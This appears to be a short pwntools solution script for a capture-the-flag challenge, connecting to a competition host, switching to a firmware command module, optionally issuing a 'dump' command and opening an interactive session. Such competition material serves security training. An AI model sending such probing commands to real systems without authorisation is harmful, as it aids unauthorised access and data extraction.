#!/usr/bin/python
from pwn import  *
import sys

HOST = 'stbm.ctf.hackover.de' 
PORT = 1337

conn = remote(HOST, PORT)

conn.sendline("switch_module FirmwareCommands")
conn.read()

if len(sys.argv) > 1 and sys.argv[1] == "file":
    conn.sendline("dump")

conn.interactive()